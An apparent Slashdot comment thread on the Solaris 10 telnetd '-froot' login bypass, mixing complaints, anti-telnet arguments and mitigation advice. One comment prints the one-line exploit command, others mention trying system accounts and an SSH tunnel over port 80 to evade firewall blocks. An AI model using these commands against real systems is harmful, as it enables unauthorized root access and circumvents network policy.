Change: Down 0.03 (0.46%)

Sun's engineering has gone WAY downhill

[Anonymous Coward]

I honestly can't believe that Sun has let this slip through. They used to have a top-notch engineering crew during the 90's. Around 2000, they started getting rid of the U.S. employees and contractors, and offshoring a bunch of work.

I can only assume that this is a by-product of that. Probably a screwup by some H1-B. The bigger screwup is by management for not providing an infrastructure which allows proper oversight to prevent this sort of thing from happening.

Sun used to have the best code-review process in place. It was a real pain-in-the-butt. And it worked extremely well. So is that now gone?

I've heard that they ditched their previous Source Code Control Mechanism, which also used to be the best.

One can only conclude that Sun engineering is but a shadow of its former self. Oh yes, there are still top engineering (witness Bonwick). But it seems like the rest of the good ones have gone.

Re:Sun's engineering has gone WAY downhill

[thogard]

I agree with your comments about quality control.
And they look at me funny when I say I would like to run Solaris 8 or 9 on my T1000/T2000.

disable all services

[NoBozo99]

except ssh and whatever service your boxen is used for. Anything that requires a password and sends in cleartext should be disabled period.

Re:disable all services

[arth1]

NoBozo99 (836289) wrote:

except ssh and whatever service your boxen is used for. Anything that requires a password and sends in cleartext should be disabled period.

You're apparently not familiar with high security high accountability environments, where you work in a so-called diamond shell, and everything you do on the inside can and must be open to full inspection. Encryption of any form is then disallowed, for very good reasons. If a contractor was typing something at 3:14, you want to know exactly what was typed, and what was received. "Some command that erased the history of commands" isn't good enough.

Incidentally, this is how I think voting machines should work too -- full transparency through a diamond shell, where absolutely everything can be traced without any encryption being in the way, and nothing can pass in, be manipulated or pass back out without full transparency and scrutiny.

Re:disable all services

[Anonymous Coward]

Incidentally, this is how I think voting machines should work too -- full transparency through a diamond shell, where absolutely everything can be traced without any encryption being in the way, and nothing can pass in, be manipulated or pass back out without full transparency and scrutiny.

Voting needs to be anonymous. That's part of what makes it harder to design than say an ATM system.

Re:disable all services

[arth1]

Voting needs to be anonymous. That's part of what makes it harder to design than say an ATM system.

Indeed, but that happens outside the shell. Once the vote passes into the voting machine, it is no longer connected to the voter, and any actions on that vote must be available for open scrutiny.

At least it's not a LD_PRELOAD bug

[Alex Belits]

When I have first seen this article I thought, LD_PRELOAD bug is back -- old telnet allowed the remote user to pass environment variables including LD_*, so it will run login (as root, of course) with whatever library user had previously uploaded on the host, thus bypassing authentication.

This is... -froot indeed...

In related news...

[rg3]

The ping of death made a brief comeback in Solaris 10. I find both vulnerabilities funny. Don't ask why.

Re:In related news...

[Anonymous Coward]

Why?

Who the hell even THINKS about shipping telnetd

[Anonymous Coward]

There is no reason to ship telnetd it can't be trusted. You can provide a simple package or other installer for people who need it.

New advertising slogan;

[jafac]

The Network is Everyone's Computer.

Sun: Woefully inadequate - no excuse

[devlp0]

I can't believe a large Unix software vendor with years of experience can get it wrong with some trivial, well understood protocol application designed over 35 years ago. Doesn't give me much confidence in Sun OSs I noticed the snippet about Solaris 10 being vulnerable to "ping of death" attacks before a "patch" came out. Mind you they have never been very good at network stacks. Ever. .. You can probably tell I use Linux ...

telnet NOT enabled by default for Solaris 10 11/06

[dananderson]

telnet is NOT enabled by default for Solaris 10 11/06 for a fresh install. You can choose to enable telnet and a whole lot of other services explicitly, but that is NOT the default. The default is to have telnet and other services disabled. For legacy Solaris systems upgraded to Solaris 10 11/06 you can disable telnet and several other services by typing at the command line: /usr/sbin/netservices limited You can tell if you're running Solaris 10 11/06 by looking in file /etc/release

You don't know what the hell you're talking about!

[Anonymous Coward]

Telnet is inherently insecure. You're sending your password, unencrypted, across the network for anyone to steal. They're absolutely right that you shouldn't be using telnet, even if this version does have a dumb bug.

The only difference between this attack and the ordinary insecurity of telnet is that you don't have to sniff the password to launch this attack. Sniffing a telnet password is trivial if you can connect to the right network segment. There's no way to fix that aspect of telnet; the fact that it can be easily sniffed is an inherent weakness. It is for this reason that SSH exists.

These people know more than you're giving them credit for. Please, don't embarrass yourself by talking about things outside your expertise.

use a brain

[Anonymous Coward]

1) this attack does not work:

Oh, but it does. Try adm, bin, sys or any other user likely to be in the local /etc/passwrd file.

Going from sys or bin is nice and soft inside.

Blocking ports- a poor excuse for packet shaping

[Kadin2048]

I hope you block ports 80 and 443, too, because otherwise it's still trivial to create an SSH session to the outside. All the enterprising student must do, is configure their (parents') home firewall, to forward outside port 80 to LAN port 22 on their PC. It's no more difficult really than just opening up port 22 bidirectionally. Then it's just "ssh -p 80 -D 8080 joestudent@mypc.dyndns.org"

If you want to filter, get a packet shaper and stop using ports; all you do by blocking ports is encourage people to abuse port 80 and other well known service ports, and make diagnostics more difficult. Unless the goal is just to give the semblance of censorship while making it as easily avoidable as possible, which is arguably laudable, but in that case why bother to block port 22 in the first place.

And before anyone makes the argument about blocking ports making it more difficult for 'casual' users, even a casual user is capable of reading Google, or asking a smarter user what to do. A few years ago, I witnessed what happened on a campus LAN when the admins inadvertently mis-configured the firewalls and blocked port 5190, which is used by AIM. Within twenty minutes, there were emails circulating which included screenshots and step-by-step instructions on how to change the AIM client to use port 80 instead. Hundreds, if not thousands of students, who didn't even know what port was, were able to follow one person's instructions and get around the problem. (It turns out it wasn't an intentional block, but just a mistake; however, the result was that half of the student machines ended up running AIM over port 80 forevermore.) It only takes one user with enough brains to read a manpage, and a desire to score some points with other students by showing them how to get around the block, to torpedo port-based blocking.

Who uses telnet

[Anonymous Coward]

Who uses telnet (or unencrypted FTP, or rsh, or rlogin, or ....)?

Far more organizations than you'd care to think about.

Me, personally, my own (Debian thankyewvareemush) systems, or networks I've built up from scratch, or your typical LUG infrastructure? SSH all the way. It's free, simple, fast, secure, and a complete no-brainer.

At work unfortunately it's a different story. Long-time Solaris shop, now heterogenous (several Unices, Red Hat, SuSE, etc.), 5k+ CPU grid, we make extensive use of rsh, rlogin, and telnet. Checking on feasibility of cutting over to ssh for all remote access, I found that several platforms didn't even have the ssh server installed, though it's freely available from vendors. Our internal customer base gives massive push-back at the prospect of cutting over to ssh (though for the most part it should be transparent, we're even in a good situation for key management). There are similar concerns with external customers. My ballpark project estimate for doing a full cutover (thousands of systems, standardized images, over a decade of legacy code, thousands of users) would be 2 years, minimum, if we could get buy-in for the project.

Some backward ag business in Indiana? Nope. High-end, industry-leading software design shop in some silly valley somehwere. Lots of folks who know what we ought to be doing, but still can't sell the concept. And I've been in other shops (healthcare data, credit cards, insurance data, brokerage, others) where the story was similarly bad, though some may have improved since then.

Scary as it sounds, what I'm looking at is pretty much state of the art, as practiced.

...and people wonder why I have concerns with online electronic transactions (or anything which creates a personal indentifiable online record). AC indeed.....

Mod Parent Up

[Anonymous Coward]

Tiring seeing all of these people who assume 'telnet client' means 'telnet daemon'.

My favorite "telnet" exploit...

[Anonymous Coward]

...from back in the day was:

$ telnet someschmuck.edu

Trying x.x.x.x

Welcome to someschmuck.edu CS department. Unauthorized logins are forbidden!

login: root

#

Solaris 10: Simple fix to this

[zombieproc]

There are simple ways to secure this:

I have CONSOLE=/dev/console set in /etc/default/login.

telnet -l"-froot" 10.24.47.9
Trying 10.24.47.9...
Connected to 10.24.47.9.
Escape character is '^]'.
Not on system console
Connection closed by foreign host.


And turn off telnet. Do: svcadm disable svc:/network/telnet:default as root.

And yes! It is STILL BETTER THAN P.O.S. Windoze!!!
--
Zombie Proc

Sigh.

[Ungrounded Lightning]

Guns don't kill people, people with guns kill people.

Knives don't kill people. People with knives kill people.
Clubs don't kill people. People with clubs kill people.
Fists don't kill people. People with fists kill people.
Poisons don't kill people. People with poisons kill people.
Cars don't kill people. People with cars kill people.
Cans of gasoline don't kill people. People with cans of gasoline kill people.
If you try to disarm people, where do you stop?

Why do I object? Because guns (or "people with guns") also protect people (including the person with the gun). They do this in several ways, including by opposing unprovoked attacks. Apparently, in that case alone, they prevent more death and injury than they cause, by a factor of several.

The quoted formulation leads to the false belief that killing can be reduced by banning guns (when in fact such attempts apparently greatly increase it "in the wild").

Dropping it into a discussion of another subject, if the poster is not called on it, propagates the dangerous meme.

The extension I posted above is intended to

Yes, my posting is off-topic. So is the parent. If I had mod points at this time I'd have just modded the parent down as off-topic. So instead I'm putting my own karma on the line to oppose the propagation of a meme that has killed countless people and continues to do so to this day.

I request any moderator that choses to mod THIS post down to do the same to the parent. I also request that any moderator who finds the parent posting has less off-topic down-mods than this one to add another down-mod to just the parent. To do otherwise is to take sides in the political debate injected into a different topic's discussion by the parent poster.

Kerberized telnet *does* support encryption

[awkScooby]

To nitpick your nitpick, Kerberized telnet supports session encryption.

What idiot still uses telnet on a unix box

[The Cisco Kid]

First off, I assume the problem is with telnetd, not telnet.

Second, anyone that would still use telnetd on a unix system is not competent to be a unix admin in this day and age. (And no, Im not talking about using the telnet *client* to access hardware devices such as routers locally or to connect to SMTP for testing, etc; Im talking only about allowing inbound login from the public Internet via telnet to a unix system where security is evem remotely important)

WOW...

[Thusi02]

I must Say Wow. Such a big security hole. I had a couple of spare Solaris 10 servers that I tried this out on and to my surprise wow. Its a good thing that I don't enable telnet on any machines. Thanks for the post though. Cheers, Thusjanthan Kubendranathan

Telnet flame war

[HomelessInLaJolla]

I started reading the posts and then realized that most of it degenerated into an anti-telnet flame war.

It is possible to use SSH in an insecure manner. It is possible that SSH has exploits as well.

I'm not advocating that telnet be reintroduced for standard and widespread deployment. Still, though, I would have thought that such a devoted group of computer enthusiasts would have a more level and sane point of view. Some people like to ride their bicycle or motorcycle without a helmet. Some people like to use telnet. So what?

Poor Solaris. I hope nobody was seriously injured by this exploit.

People still use telnet.

[sc0ob5]

I work for a company that uses a Sun box for a critical application and clients connect using telnet. This vulnerbility could be the answer I was looking for to get the outsourced company that looks after it to switch to SSH which is easily fast enough for the requirements of our users.

Telnet disabled by default in Solaris 10 11/06

[dananderson]

Telnet is disabled by default in the current update released last year, Solaris 10 11/06 for a fresh install.

For a upgrade from earlier releases or updates, telnet may be left enabled. You can disable it with svcadm disable telnet

Better yet, disable most network services (excludes SSH at least) in Solaris 10 11/06 with netservices limited

Temporary patches available

[dananderson]

Temporary patches to fix telnet are available in zip files at: http://sunsolve.sun.com/pub-cgi/tpatch.pl (one for SPARC, one for X86 Solaris).

You need a (free) login to access these (my login was free)--security patches are free.

Re:Temporary patches available

[emptybody]

Can I get a hell-yeah!?

mod parent UP UP UP.

http://sunsolve.sun.com/tpatches

read the log of the patch author here:

http://blogs.sun.com/tpenta/entry/the_in_telnetd_v ulnerability_exploit

Fix almost available

[Tpenta]

I've done the work getting interim security fixes available and starting the sun-alert. These thing should be available shortly.

For a commentary on getting this fixed, have a look at http://blogs.sun.com/tpenta/entry/the_in_telnetd_v ulnerability_exploit.

I'll update the blog entry with the links when it's up on sunsolve.

Tp.

SunAlert & Temp Patches Available

[dananderson]

SunAlert 102802 is available describing the issue and workaround.

Temporary patches for SPARC and X86 to fix telnet are available You need a (free) login to access this.

Re:Is it a buffer overflow?

[master_p]

There are C-like languages that are safe: ADA, Cyclone, etc.

My comment was not flamebait. IT would be so much better if better languages were used.

And perhaps the notion of 'developers do the mistakes, not the languages' is true when the problem at hand is not complex, but as complexity rises, less and less developers can avoid mistakes.

Pity for those who do not understand this.

Re:Blocking ports- a poor excuse for packet shapin

[gallwapa]

We do block port 80 and 443 - the only machine allowed out of the network is the proxy server.